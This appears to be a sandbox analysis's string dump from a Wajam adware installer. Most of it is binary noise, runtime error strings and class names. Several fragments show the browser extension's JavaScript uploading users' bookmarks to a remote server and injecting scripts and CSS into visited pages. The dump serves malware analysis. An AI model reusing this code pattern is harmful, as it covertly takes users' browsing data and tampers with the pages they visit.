'supported_sites.'+siteName+'.'+script_id;priam.background.preferences.cleanPriamPref(script_key);

Ansi based on Dropped File (priam_bho.dll.1505483275)

'\'update_mapping_list\'\n\n'+'REQUESTING mapping to '+priam.background.config.getHost()+'\n\n'+'url:\n'+url);}priam.background.util.download(url, function(url, code, content){var str = '';var method_name = 'onreadystatechange - '+url;try {if (code == 200) {var new_mapping_list_string = content;if (new_mapping_list_string) {var new_mapping_list = null;try{new_mapping_list = JSON.parse(new_mapping_list_string);}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}var valid = priam.background.util.isValidMappingList(new_mapping_list);if (valid === true) {priam.background.ext.processMappingListCleanUp(old_mapping_list,new_mapping_list);priam.background.preferences.set('mappingListJsonString',new_mapping_list_string); // Save 'new mapp

Ansi based on Dropped File (priam_bho.dll.1505483275)

'aeeiFaeJ

Ansi based on Dropped File (nsqE177.tmp)

'BfRVR_R_e__aeRRJeVa

Ansi based on Dropped File (nsqE177.tmp)

'bmAutoSync', bmAutoSync );str += priam.background.trace.add(method_name,'Synching bookmarks: ON');// ALREADY ALL SYNCEDpriam.background.preferences.set( 'bmAlreadySynced', bmAlreadySynced );if (bmAlreadySynced == '1') {str += priam.background.trace.add(method_name,'User never synched all bookmarks');}else {str += priam.background.trace.add(method_name,'User already synched all bookmarks');}// If sync bookmarks is enabled and bookmarks are not already synced, import them!if (bmAlreadySynced == '1') {str += priam.background.trace.add(method_name,'Sending all bookmarks');var _bookmarks = priam.Bookmarks.sendAllBookmarks();priam.background.preferences.set( 'bmAlreadySynced', '0' );}break;case '': // USER IS NOT LOGGEDpriam.background.preferences.set( 'logged', 'false' );str += pr

Ansi based on Dropped File (priam_bho.dll.1505483275)

'DDYdEJzEb>9FFuuvHM9;5S]=];Z T7aZ%]g']n R`%uYnb5{%p@S3juj%=

Ansi based on Dropped File (nsqE177.tmp)

'mappingListJsonString is null, request mapping');priam.Preferences.requestMapping(_document);}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}});}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name, str );}};return priam;})();(function(){if(typeof(priam) == "undefined") priam = {};if(typeof(priam.background) == "undefined") priam.background = {browser: {preferences: {}}};priam.background.config = {initHost: function() {var method_name = 'initHost';var define_host = priam.background.preferences.get('define_host');if (define_host && define_host !== undefined && define_host !== '') {priam.Config.host = define_host;}},getHost: function(use_https) {// Protocolvar protocol = ((use_https === true) || (use_https==='true')) ? 'https://' : 'http://';// Host overridevar define_host = priam.

Ansi based on Dropped File (priam_bho.dll.1505483275)

'new mappingList' in preferences// Update mapping list versionvar version = new_mapping_list.version;if (version && version!=undefined) {version += '';priam.background.preferences.set('

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

'sValueName

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

'TB';`G9vSo~9!|BjH$_z0,i|Y:>\aSR5eT1Sn_0

Ansi based on Dropped File (nsqE177.tmp)

'to8d J:$Mx*&(/'e|+"t

Ansi based on Dropped File (nsqE177.tmp)

'utf-8'?>";xml_string = '<bookmarks>';var bookmark;var arr;var title;var url;for (var i = 0; i < _bookmarks.length; i++) {bookmark = _bookmarks[i];arr = bookmark.split('|', 2);url = priam.Util.URLEncode( arr[1] );title = priam.Util.URLEncode( arr[0] );xml_string += '<bookmark>';xml_string += '<url>' + url + '</url>';xml_string += '<title>' + title + '</title>';xml_string += '</bookmark>';}xml_string += '</bookmarks>';}catch(e) {priam.Trace.add(method_name,'Error Message: ' + e.message);}return xml_string;}};if (document.location) {// Listener for document loadwindow.onload = function() {priam.Events.onEventLoad();};}(

Ansi based on Dropped File (priam_bho.dll.1505483275)

'WajamUpdater'

Ansi based on Dropped File (nsqE177.tmp)

(%%fffyyy542[[V764

Ansi based on Dropped File (nsqE177.tmp)

(%d %s%s remaining)

Ansi based on Dropped File (inetc.dll.1181384010)

('')))ZZ[AAAXXX1/, ba <:9RRR@@@gggRRRtS4Z<Z<Z<Z<W;P0qXK-T5T5V8Y:Z>V:T5S5S4V8X;W8T5S5V6N+t\cJN,T4X7Z=X<T5T5S5V8Z=Z<W9T6T4S7R4^AH'V7T5W9[;[;Y<Z<X:\>Y(}MH5%#-9VD- +=tE10B2gMc[C#A,}jf((($$$KJG<evws<fyONM###tS4Z<Z<Z<Z;X=U7sYqK+\>Z<Z<Z<Z<Y<Z<Z<Z<Y<Y<Z<Z<Z<\;R4dKfNV7Z<Z;Y<Z<Z<Z<Z<Z<Y<Y;Z<Z<Z<Z=W9[>yL-Z=Z<Z<Z;Z;Y<Z<X:\>xQ0~M~tb{#C-~Nuuueee...)))50/6Ykmqqj1Sd621ttt~~~tS4Z<Z<Z<Z;X=X<U8eFh|hbHV8Z<Y;Z;Z<Z;Z;Z<Z<Z<Z<Z<Z<Z<Z;Y<X<X;Z>`GY>Y;Z<Z<Z;Z;Z<Z<Z<Z;Z;Z<Z<Z;Z<Z;Y;X9Z;_E]BX9Z<Z<Z<Y<Y<Z<Z<X:\>mvXSx_@Q>s#.>cBL

Ansi based on Dropped File (nsqE177.tmp)

('[wL@fiV>*m-

Ansi based on Dropped File (nsqE177.tmp)

(((***===LLL;88

Ansi based on Dropped File (nsqE177.tmp)

(;A=uv#h2l8.W={8[?wR`\DQ|Q4p18%M!r,;[bsz"e#8$&?3A5Uumg^bz+6n$uvJo*O[v`vG9#)h>9YXY+{.&sE0

Ansi based on Dropped File (nsqE177.tmp)

(@[?@@@@@P@$@@ @(k@ @@C#@&@**@ -@1_0@4@.7@@v:k:@#>@bxA@z&D@n2xH@W

Ansi based on Dropped File (nsqE177.tmp)

(a,b,c,d,x[k+13],S31,0x289B7EC6);d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);b=HH(b,c,d,a,x[k+6], S34,0x4881D05);a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);c=HH(c,

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

(A=1jhcAh6A0AuF\AAf3G~~pCKCFhAj

Ansi based on Dropped File (nsqE177.tmp)

(CPjSP<@7Ru8@EPV\@EjEPEEPSSvPS@@PShrVP@;

Ansi based on Dropped File (nsqE177.tmp)

(IQD .y3/|y1~C4G_n

Ansi based on Dropped File (nsqE177.tmp)

(lNumberOfWords-1);var lBytePosition = 0;var lByteCount = 0;while ( lByteCount < lMessageLength ) {lWordCount = (lByteCount-(lByteCount % 4))/4;lBytePosition = (lByteCount % 4)*8;lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition));lByteCount++;}lWordCount = (lByteCount-(lByteCount % 4))/4;lBytePosition = (lByteCount % 4)*8;lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);lWordArray[lNumberOfWords-2] = lMessageLength<<3;lWordArray[lNumberOfWords-1] = lMessageLength>>>29;return lWordArray;} function WordToHex(lValue) {var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;for (lCount = 0;lCount<=3;lCount++) {lByte = (lValue>>>(lCount*8)) & 255;WordToHexValue_temp = "0" + lByte.toString(16);WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);}return WordToHexValue;} f

Ansi based on Dropped File (priam_bho.dll.1505483275)

(W?V7,aNl{w\{gG,7zizq

Ansi based on Dropped File (nsqE177.tmp)

(xhr.readyState == 4) {callback(url, xhr.status, xhr.responseText, xhr);}};xhr.send();};priam.background.util.post = function(url, callback){var request = window.priam_bho.newHttpRequest();request.open('POST', url, true);request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');request.send(data);};priam.Browser.Util.priamAjaxCall = priam.Browser.Util.priamAjaxCall;priam.Bookmarks = {priamSendBookmarks: function() {var method_name = 'priamSendBookmarks';var str = 'priamSendBookmarks' + '\n\n';try {var _bookmarks = new VBArray(window.priam_bho.getBookmarks()).toArray();var xml_string = priam.Bookmarks.toXml( _bookmarks );var params_headers = new Array;params_headers['Content-Type'] = 'application/x-www-form-urlencoded';// URL - Send bookmarksvar _url = priam.Url.getSendBookmark();// Developer Flag debug_show_bookmarkspriam.Preferences.get('debug_show_bookmarks', function(r

Ansi based on Dropped File (priam_bho.dll.1505483275)

) != -1);}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}if (match) {siteName_retVal = siteName;match = true;break;}}}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);return siteName_retVal;},onMappingReceived: function(request, document) {var str = '';var method_name = 'onMappingReceived';try {var mappingListJsonString = request;var mappingList = null;try {mappingList = JSON.parse(mappingListJsonString);}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}if (priam.Util.isValidMappingList(mappingList)) {priam.Preferences.set('mappingListJsonString',mappingListJsonString);if (document) {priam.ext.processSiteLookup(document,mappingList);}if (!response.error) {var debug_show_load_mapping_list

Ansi based on Dropped File (priam_bho.dll.1505483275)

)$$iG(5tR}%^+L9V}jC}%zhPd"g0eKZlj]$9<X$p}U77EN>GRl$

Ansi based on Dropped File (nsqE177.tmp)

))X_ljmuuuusx!ettuuuuuiTnOGGGA{g[[AZ9JGGG9_Pr`^vW\d~+]s.P\*ToOGGGCa^tUJX`2KGGG8444YYY^^^@@@EEEwwwggg777uuu(((666HHHAAADDDDDD222RRR]]]EEE $$@>yUGMG>IFGSZ[]_a`co0`5.2,)%QXd?uxxxxuB9dt-vxxxxxr\P<dbgtAP_PrTy ^vl\_=ncU.P\*RD^uolUm"""EEEfffHHHwwwuuu```PPPwwwfffHHHBBB666,,,jjjuuu777EEE]]]FFF&*4+WfXQ]eeVHPU\_``daba'X3

Ansi based on Dropped File (nsqE177.tmp)

)4e?1Ft;;o\Me_~?t

Ansi based on Dropped File (nsqE177.tmp)

)6Q^MN]i6R-V+PCLsy-t9mx{A,T!dk9A%8>Dc11DD5

Ansi based on Dropped File (nsqE177.tmp)

);str += priam.Trace.add(method_name,'Checking \''+css_id+'\': '+elemScript);if (elemScript) {str += priam.Trace.add(method_name,'CSS found - replacing \''+css_id+'\' - '+css_url+' at\: '+_document.location);elemScript.parentNode.replaceChild(new_script,elemScript);}else {var handleTimeout = null;function insertHead() {var method_name = 'insertHead_Css';var str = '';try {var head_elem = _document.getElementsByTagName('head')[0];str += priam.Trace.add(method_name,'Checking head: ' + head_elem);if (head_elem) {//INSERTING THE NODEstr += priam.Trace.add(method_name,'Found head, Append css \''+css_id+'\' - '+css_url+' at: '+_document.location);head_elem.appendChild(new_script);clearTimeout(handleTimeout);// Developer Flag debug_show_inserted_scriptspriam.Preferences.get('debug_show_inserted_scripts', function(debug_show_inserted_scripts){

Ansi based on Dropped File (priam_bho.dll.1505483275)

)a<l:<-D@^zlcv[$)Yv

Ansi based on Dropped File (nsqE177.tmp)

)dC:4A/S$;PNC&Mz"wBoR=+-0K

Ansi based on Dropped File (nsqE177.tmp)

)GGt$;sGG;uo@G@_^[@SCD<$tWu3YZ[SVV<$t&u3YZ^[@3y=@Tu@=uSVWU@@@;sC;~{s[;sB;tc

Ansi based on Dropped File (nsqE177.tmp)

)J;gRnJ{)NialVmrT|#CO>%

Ansi based on Dropped File (nsqE177.tmp)

)s1)s1 )s1}t

Ansi based on Dropped File (nsqE177.tmp)

)vor=(p>+d\^ }_yVwTj%t~g;;<+yt29r}*4|W&/9>XA-{|Reg'`8H'A<\+P;]ZIiP

Ansi based on Dropped File (nsqE177.tmp)

)YUEV4`A>uP#YujY60A^]UUVWt}uj^03Eu+@tOuuj"Y3_^]L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+jheA93]jY]j_};=A}TA9tE@tPYtE|(A P0AA4YAGEEjhYU4S3EV]]]E]t]E

Ansi based on Dropped File (nsqE177.tmp)

*!@8S$@Qh-Xk{,MbLdavOfPi >'C{Ldy0JWlkcy]rJav:S*GlzAZ2M3NKbOf|`vn7S7RA[Oh`dhhhhhf`qW|)E&D,G`vT;@@@@@8O}~G<@@@@@@7gIP/D\Wh_t!;M^"0Tm;T)UiRe*=Lf3M1_rr:U&?-C\,H~%B.+FE^27-H*C.EF]\n$>/I&@AWOgj}l=WNedzbwF^SiKc[rNe|C[(DPgk]rRjKci~gz.JPg+nz:T~2Mf{G`ZpTjoey=WlwF^exjMd{[`jiiiiiiiiiigf-|Sjk~bvF`i}y?ACCCCC@;9;@CCCCCC@>HP

Ansi based on Dropped File (nsqE177.tmp)

*"(]H#2n +@nhs5-|

Ansi based on Dropped File (nsqE177.tmp)

*'i(C`h,kZy7E1KbkU"jM M3.&o49|Y}doyzM.,Bz$9-nF#poe

Ansi based on Dropped File (nsqE177.tmp)

*,2+9'Q+{|9'V+}~9'[+9'`+9'e+9'j+9'o+9't+9'y+9'~+9'+9'+9'K9'+Ll%i AJ_i J_ J_ J_ %J_{i +J_?+i+i$+?9,l%i?N,+?Y,{im,i?q,?|,i+i?,il%i,4,,i,,Wi,,,J,J-Ji"-i, AJ_?N,+?Y,&-,W,,,4

Ansi based on Dropped File (nsqE177.tmp)

*2;v}S3B/BOi1qbo

Ansi based on Dropped File (nsqE177.tmp)

*91K>X{p.J&Bz5)EdyYo5PG_|H`<UQi4QvD\+H6Q/G>V/Tkq_trbv;T=V3QbkrYt8@ZMefyg{g|Vl.,6yZqIa?Y]s]sn[q~;UMeou47R<G_j~<VfyF0444438_z$B144444.VP;k

Ansi based on Dropped File (nsqE177.tmp)

*?b\U5M<V##jaLaK$Xww*?Ur2hK)

Ansi based on Dropped File (nsqE177.tmp)

*e3V2#{S@FLYI(

Ansi based on Dropped File (nsqE177.tmp)

*S3aK~X[[SF_9}*i

Ansi based on Dropped File (nsqE177.tmp)

*v9r~T<Bdys/z||Fd13uF43'r%\9wW]qoqr9|.qb8]qqx]|K]`6~{K+gHgKK{iQ*.")WY)j_=fcb'Y[uF>[(~d(B];Ovx:vQ 'Kk,r^;xy\^%w93]]v>r}kV%3AbFTG29HAf3eX[.dlmd?`j6X6Z[`}u0^mry|)0y

Ansi based on Dropped File (nsqE177.tmp)

*YSBoW-1]Yy98cbw8hl)n!s.nnz1FXt9a`?84MSD0?[~<EU`>Kk

Ansi based on Dropped File (nsqE177.tmp)

+ @Xj~nla];ux x x x x tFonipwx x x x x x sTP7k

Ansi based on Dropped File (nsqE177.tmp)

+$iZxZvv:JkG=uvGq*c)Qc0jjRd|%FeYo

Ansi based on Dropped File (nsqE177.tmp)

+-)&)T^h}'x!z#z#z#z#z#wpouqo1x z#z#z#z#z#w-P7/6N^AQ_RMl^v?rvpg^})gz.Q]*R>^rC]uUk ooottt...ooo)))+++@@@===wwwaaa444BBB:::777PPPXXXiiiSSS:::WWW^^^QQQ$$$nnnccc---*()GUtahvlJ<BOXbfb_aYYgN1P())%%T\jssstttv{&|'|'|'|'|'|'|'{%0:i|&{&|'|'|'|'|'{&sRy#Yi|%=AV_[mXZ^v\bnM\X=rrvC.V^*T}'[-b{%S?Vep%%%888ooo,,,www```NNN111333___///444KKKXXXQQQ000|||(++'OwkwdN}&Lu,[4tF1Dbdc_ZURUF{3T-,,/6V]nu++++++++x ,}(+++++++oUba``\y!\\XaA]b```Xf_`lj

Ansi based on Dropped File (nsqE177.tmp)

+0`HB0FU ?0=0;+10+0)+https://secure.comodo.net/CPS0BU;0907531http://crl.usertrust.com/UTN-USERFirst-Object.crl04+(0&0$+0http://ocsp.comodoca.com0U0info@wajam.com0

Ansi based on Dropped File (nsqE177.tmp)

+70% <<<Obsolete>>>0!0+:&~Uz7!

Ansi based on Dropped File (nsqE177.tmp)

+?[!8\[OP>a2bIp-&%

Ansi based on Dropped File (nsqE177.tmp)

+\A;rL59+]T93Jt3L=J=Tu]3;tP<@BBG;}r5P] MeMM;MEPE@BQLUMM1uM Nu9MMFuuE+u;u vu M3+MB;Uv#}+E;s

Ansi based on Dropped File (nsqE177.tmp)

+]USVWUjjh8@uV8]_^[]L$At2D$H3xUhP(RP$R]D$T$SVWD$UPjh@@d5DA3PD$dD$(Xpt:|$,t;t$,v-4vL$H|uhDID_L$d

Ansi based on Dropped File (nsqE177.tmp)

+D!45QY[p,M+\dc~|x"cxMDZYN8)[${dt/?15g+IxF5_\:^j9EhQ[R)4#Che%$IKY?L{tw#::<QId_((hShjePNY3{'e%mgg>UPUNgBx`{CLHOvcrJ@kw@'L)\Peqsv`NJz,'75:67Xbn,vG*T\WESH$Qq1h>[4`V4E<L jE4VT/,T3<8`MYH_\5xb&hBs

Ansi based on Dropped File (nsqE177.tmp)

Ansi based on Decrypted SSL Data (SSL)

+e.message);}return isValidAffiliateId;},isValidUniqueId: function(unique_id) {var method_name = 'isValidUniqueId';var isValidUniqueId = false;try {if (unique_id !== null && unique_id !== undefined && unique_id.length === 32)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

+g~VxTCeK/-=NBhWzkb3>5qwkDjE?K_FQ%#S;S Zh"?[=~^W.F'

Ansi based on Dropped File (nsqE177.tmp)

+H*Dt"#;J7L08Ej!&'Mp*ZP+ro)/B{PI*%b3Tb{

Ansi based on Dropped File (nsqE177.tmp)

+HX+`8N75

Ansi based on Dropped File (nsqE177.tmp)

+j6jPh@SY;CEeEi5C;|uVW3Qt+Mtj

Ansi based on Dropped File (nsqE177.tmp)

+rLuMqD:;(th^t>>r_r>Jl<D)*\G^6,P|

Ansi based on Dropped File (nsqE177.tmp)

+s2Z"vuX.a:$D{K4"B%C(.9Pl]iVJSFe!Pj0@.<Lpn&*iJ#:+znhTDs10:[mf4?[L{\nm

Ansi based on Dropped File (nsqE177.tmp)

+VlF_$9wIc!ww8XjopkL<3O9{a`ci]P>)b,.74

Ansi based on Dropped File (nsqE177.tmp)

, MMMM dd, yyyy

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

,# t"&!'!^/+_#"t6$^$i##t;$@#$tD$I#&tM$R#%tV$[![b__#'td#(ti#)tV#*t#+tzy{?bi#2n2i4{S4{WS\

Ansi based on Dropped File (nsqE177.tmp)

,,,www)))"""gggBBBIQQ|~UvJ{Oe>mZ=mm>Twg5pUixfsj:a`-mj9e3^(_-gvGtFVdvJ\odk{wJVib|Z$rE{NuGpi{NYrErC[Z~T|QhxJTUl<TyNtHmtHtnwbzN|PrDBq~[xKnBzn@ouf5nn=pdq{PzO\^)UsD}R|tpApBM!_`kHWhk9o?uO{yK_)zNyN.buLXl=XwJqe3Z#>>>'''uuuaaaeee555pppTTT%%%tttNNN%%%iiiFFF~~~""" |||LLLKKKQQQzzz>>>555VVV+++777yyyRRR[[[sssNNNgggRRRWWWnnn

Ansi based on Dropped File (nsqE177.tmp)

,/Yuj /YU=$AtK}u'V5(A51At5$A5(AE^j5$A5AX1Aux(AtjP1A]Wh6A0Au3_V50Ah7AWh6AWAh6AWAh6AWA=A51AAt=At

Ansi based on Dropped File (nsqE177.tmp)

,0/433"H=jBvC"`(v+3 segh-0!hYIu@m>j?k2ae/6789"B)I%E

Ansi based on Dropped File (nsqE177.tmp)

,09tX0E;EwE]|t19t$];]w\Eu4V$Ab@Bc@b@c@od@c@Qd@1d@b@b@b@c@d@kd@c@b@c@b@1XUM)]]PSDtUt*Xu#CtS[-AN

Ansi based on Dropped File (nsqE177.tmp)

,8'm: NX<- "?!,l 1acrH(|Gf,%"&PeAbpfT>4keP>$B%|B5N={-SjmjRX}aTr^Z;yHz9Bs5g>iN}pQc)VgSP2Oo(v56kN%xr1tAV

Ansi based on Dropped File (nsqE177.tmp)

,8GG?LKdt8w0.EI\o{11A

Ansi based on Dropped File (nsqE177.tmp)

,9GdTG#18<"@K(j%]cB-2ko UA

Ansi based on Dropped File (nsqE177.tmp)

,=)+8b`_"*U#)X^$ 2q<@V&7=@DS*x?,

Ansi based on Dropped File (nsqE177.tmp)

,??%:_??A:_J?FI

Ansi based on Dropped File (nsqE177.tmp)

,??RNJ@_ NJ_

Ansi based on Dropped File (nsqE177.tmp)

,[)n)rALAi??)?)?)?*?*?2*?D*?_

Ansi based on Dropped File (nsqE177.tmp)

,]t9]s=YY

Ansi based on Dropped File (nsqE177.tmp)

,_<^a$f4r6+*2jk$f_I07HRl3u>&6$$-a<l:\$@:<PNm$Y6k6I?iS/AWqErK5; @PP:LVdbYFwQ4FQ& O:Q kYTZRnVHU7^\W%Vp@{5%Y\`MX/PDg\

Ansi based on Dropped File (nsqE177.tmp)

,a'r'__JJ

Ansi based on Dropped File (nsqE177.tmp)

,B)Q)pJqN[):

Ansi based on Dropped File (nsqE177.tmp)

,cleanPriamPref: function(prefKeyToRemove) {var method_name = 'cleanPriamPref';var str = '';try { str += priam.Trace.add(method_name,'going to remove \''+prefKeyToRemove+'\' ...');window.priam_bho.removeRegKey(prefKeyToRemove);str += priam.Trace.add(method_name,'done');}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},/**Read unique ID from registry*/readUniqueId: function() {return priam.background.browser.preferences.get('unique_id');},/**Read affiliate ID from registry*/readAffiliateId: function() {return priam.background.browser.preferences.get('affiliate_id');},readNoTrace: function() {return priam.background.browser.preferences.get('no_trace');}};priam.background.util.download = function(url, callback){var xhr = window.priam_bho.newHttpRequest();xhr.open( 'GET', url, true);xhr.onreadystatechange = function() {i

Ansi based on Dropped File (priam_bho.dll.1505483275)

,cw. J`Xn[p;

Ansi based on Dropped File (nsqE177.tmp)

,faK6D%(z`zIx./q4f<0k.zNgq |O/8AU?-{C)A X;{>L'4US,h82?'}b*knG(H

Ansi based on Dropped File (nsqE177.tmp)

,S[#e"<-CZCcg-3}r\tD<@*\q]&n{YWt\z[I|KvZx{ r`[;3j~xE^W;=aGYZ;H*A^D

Ansi based on Dropped File (nsqE177.tmp)

,str);},processSupportedSite: function(_document,siteName,mappingList) {var method_name = 'processSupportedSite';var str = '';try {// Suppress all known listenersstr += priam.Trace.add(method_name,'Cleaning all listeners');priam.listener.clean_all(_document);var siteObject = mappingList.supported_sites[siteName];if (_document.addEventListener) {// Listener for Mapping List update in client preferences_document.addEventListener( priam.Config.event_name.update_mapping_list, priam.listener.on_priam_update_mapping_list,true);str += priam.Trace.add(method_name,'Added listener: \''+priam.Config.event_name.update_mapping_list+'\'');// Listener for server script update in client preferences_document.addEventListener( priam.Config.event_name.update_script, priam.listener.on_priam_update_script,true);str += priam.Trace.add(method_name,'Added listener: \''+priam.Config.event_name.update_script+'\'');//

Ansi based on Dropped File (priam_bho.dll.1505483275)

- abort() has been called

Ansi based on Dropped File (nsqE177.tmp)

- Attempt to initialize the CRT more than once.

Ansi based on Dropped File (nsqE177.tmp)

- Attempt to use MSIL code from this assembly during native code initialization

Ansi based on Dropped File (nsqE177.tmp)

- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.

Unicode based on Dropped File (priam_bho.dll.1505483275)

- CRT not initialized

Ansi based on Dropped File (nsqE177.tmp)

- floating point support not loaded

Ansi based on Dropped File (nsqE177.tmp)

- not enough space for _onexit/atexit table

Ansi based on Dropped File (nsqE177.tmp)

- not enough space for arguments

Ansi based on Dropped File (nsqE177.tmp)

- not enough space for environment

Ansi based on Dropped File (nsqE177.tmp)

- not enough space for locale information

Ansi based on Dropped File (nsqE177.tmp)

- not enough space for lowio initialization

Ansi based on Dropped File (nsqE177.tmp)

- not enough space for stdio initialization

Ansi based on Dropped File (nsqE177.tmp)

- not enough space for thread data

Ansi based on Dropped File (nsqE177.tmp)

- pure virtual function call

Ansi based on Dropped File (nsqE177.tmp)

- unable to initialize heap

Ansi based on Dropped File (nsqE177.tmp)

- unable to open console device

Ansi based on Dropped File (nsqE177.tmp)

- unexpected heap error

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

- unexpected multithread lock error

Ansi based on Dropped File (nsqE177.tmp)

-"7%"(`;I ZQ*<o

Ansi based on Dropped File (nsqE177.tmp)

-(*-*+,(#,

Ansi based on Dropped File (nsqE177.tmp)

-*')9`G;$|-*w

Ansi based on Dropped File (nsqE177.tmp)

-0AE1-4ABC-BE8C-919F3D1332E2}\InprocServer32

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

-:hTJ%ij8I+i:Z]o+i[Z=u|vxW5+Akt\~Jk@kgog0PJkV72^gL%hwZ(Akku]B2;mD+mZojV

Ansi based on Dropped File (nsqE177.tmp)

-?m---3n-i{i,im,i?q,?|,i,i?-.I

Ansi based on Dropped File (nsqE177.tmp)

-[9qR'e+n$ojb"aOIx._)V@h?c=\"=]"<\6S3[f{Rhdeeeeeedl#I0S4S3W0[)U%O*T/U-Q0Z:iFQUTU_!gV6h'M.N/N"C:3)$#PT^OOOFFFfff|||wwwzzz{{{~~~rrrzzzlcfghhhhhhgfav"J.Q.N

Ansi based on Dropped File (nsqE177.tmp)

-%PROGRAMFILES%\Wajam\install.log

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

-ePO>XrF kO%FN"ZN?DDcZ"RYYb\EA<GE$2t/'SXR!,C2}R!D:* #0u/

Ansi based on Dropped File (nsqE177.tmp)

-h?\Pcb`I&Ur%?0ObI807;F[#C8oxIN~M@)#}rpW0]<bYA|[**O-7m|}t[6))=

Ansi based on Dropped File (nsqE177.tmp)

-Mfgfo<}R;sTw1/Z3QL}RQoi QBp^)XAUUX*@uQj

Ansi based on Dropped File (nsqE177.tmp)

-W0A;tW0AG;s

Ansi based on Dropped File (nsqE177.tmp)

-x6$ER{&vj,C\kZ0Z>b#z}:$4\d\ZaVL<-&-SAf,Y::e-j,S^cT{[z_KfJTT\@_CB~:YS)"z=R|vEa?Mh?Qu8s^yIuLtT~E%]@K{

Ansi based on Dropped File (nsqE177.tmp)

.,J_J%R:kNJa

Ansi based on Dropped File (nsqE177.tmp)

...;;;YYYKKK!!!%%%***HHH555666===cccQQQ...yyy

Ansi based on Dropped File (nsqE177.tmp)

...<program name unknown>Runtime Error!

Ansi based on Dropped File (nsqE177.tmp)

..AAAAAAAAAAAAAAAAAAAXJAZLA\LAAAAAAAAAAARARA.UAUAUAlUATA3A.H3A.?AVCAtlException@ATL@@3A.?AUIUnknown@@3A.?AUIRegistrarBase@@3A.?AVCRegObject@ATL@@3A.?AU_ATL_MODULE70@ATL@@3A.?AVCAtlModule@ATL@@3A.?AV?$CAtlModuleT@VCWajamUpdateModule@@@ATL@@3A.?AV?$CAtlExeModuleT@VCWajamUpdateModule@@@ATL@@3A.?AV?$CAtlServiceModuleT@VCWajamUpdateModule@@$0GE@@ATL@@3A.?AVCWajamUpdateModule@@3A.?AVbad_exception@std@@x8Phe(8HXhh RtHZREGISTRYTYPELIBHKLM

Ansi based on Dropped File (nsqE177.tmp)

./04.a/0123m43Kj43OKl4r43Kp43Kr4Kx43Kv43OKx4 %K67)4c788484<5_uoqVR7u7R888?u788?C7C8ly8}y8>\

Ansi based on Dropped File (nsqE177.tmp)

.1)B4]= 4CkINFHJSO=5z3w9y:k+K%.2/2W^p444}}}www___CCC|||ppppppddd}}}qqqfffkkk}}}aaa===xxx^^^OOOooo!!!MMMllluuusss```vvv+.//////,,@=,//////-~)Ry!u5b|AV_T>[~>iWb;k_,:TdrSP/V^*T{'^dc;Ven&&&;;;hhhyyyddd>>>"""]]]rrr666...:::<<<UUUKKKSSS:::###cccIIINNNppp'''444///111TTTBBBHHH777ooo(((BBB

Ansi based on Dropped File (nsqE177.tmp)

.?AU_ATL_MODULE70@ATL@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AUIClassFactory@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AUIDispatch@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AUIInternetProtocol@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AUIInternetProtocolRoot@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AUIObjectSafety@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AUIObjectWithSite@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AUIRegistrarBase@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AUIUnknown@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AUIWajamBHO@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$_IDispEventLocator@$0A@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CAtlDllModuleT@VCwajamModule@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CAtlExeModuleT@VCWajamUpdateModule@@@ATL@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AV?$CAtlModuleT@VCwajamModule@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CAtlModuleT@VCWajamUpdateModule@@@ATL@@

